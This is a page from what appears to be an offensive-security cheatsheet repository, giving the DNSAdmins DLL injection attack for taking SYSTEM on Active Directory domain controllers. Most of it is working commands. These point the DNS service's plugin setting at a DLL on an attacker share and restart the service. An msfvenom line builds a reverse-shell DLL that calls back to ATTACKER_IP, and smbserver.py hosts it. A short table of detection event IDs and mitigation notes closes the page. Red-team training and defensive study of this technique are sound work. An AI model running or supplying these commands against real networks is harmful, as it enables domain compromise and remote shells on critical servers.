repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-46-dnsadmins-dll-injection.mdMarkdown83 lines3.3 KiBsource raw download

title: "Attack #46 β€” DNSAdmins DLL Injection" description: "Members of the DnsAdmins group can configure the DNS service to load an arbitrary DLL via the ServerLevelPluginDll registry key. Since the DNS service…" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #46 β€” DNSAdmins DLL Injection.md"#

🟣 Attack #46 β€” DNSAdmins DLL Injection#


πŸ“– How It Works#

Members of the DnsAdmins group can configure the DNS service to load an arbitrary DLL via the ServerLevelPluginDll registry key. Since the DNS service runs as SYSTEM on Domain Controllers, loading a malicious DLL grants SYSTEM-level code execution on the DC.


βš™οΈ Prerequisites#

Requirement Detail
Membership in DnsAdmins group Or equivalent permission to configure DNS
DNS service on DC Standard β€” runs on DCs by default
SMB share hosting DLL DLL must be accessible from DC

πŸ’» Full Commands#

# ── Check group membership ────────────────────────────────────────────────────
net user low_user /domain | findstr /i "dnsadmins"

# ── Set malicious DLL plugin ──────────────────────────────────────────────────
dnscmd DC01.corp.local /config /serverlevelplugindll \\ATTACKER\share\evil.dll

# ── Restart DNS service (requires restart to load DLL) ────────────────────────
sc \\DC01.corp.local stop dns
sc \\DC01.corp.local start dns
# DLL executes as SYSTEM on DC01

# ── Cleanup β€” remove the plugin DLL config ────────────────────────────────────
dnscmd DC01.corp.local /config /serverlevelplugindll ""
# ── Generate reverse shell DLL ────────────────────────────────────────────────
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
  -f dll -o evil.dll

# ── Host on SMB share ─────────────────────────────────────────────────────────
smbserver.py share /path/to/dll/ -smb2support

πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
770 DNS Server Log DNS plugin DLL loaded
7045 System Log DNS service restart
4688 Security Log dnscmd.exe execution with ServerLevelPluginDll argument

πŸ”— Attack Chain Context#

[DNSAdmins] ──→ DLL Injection β†’ SYSTEM on DC
         β”‚
         β”œβ”€β”€β†’ πŸ”— DnsAdmins membership β†’ SYSTEM on DC β†’ DCSync
         β”œβ”€β”€β†’ ⚠️ Requires DNS service restart β€” may cause brief DNS outage
         └──→ πŸ’€ Defeated by: audit DnsAdmins membership, monitor dnscmd usage

βœ… Attack #46 β€” DNSAdmins complete.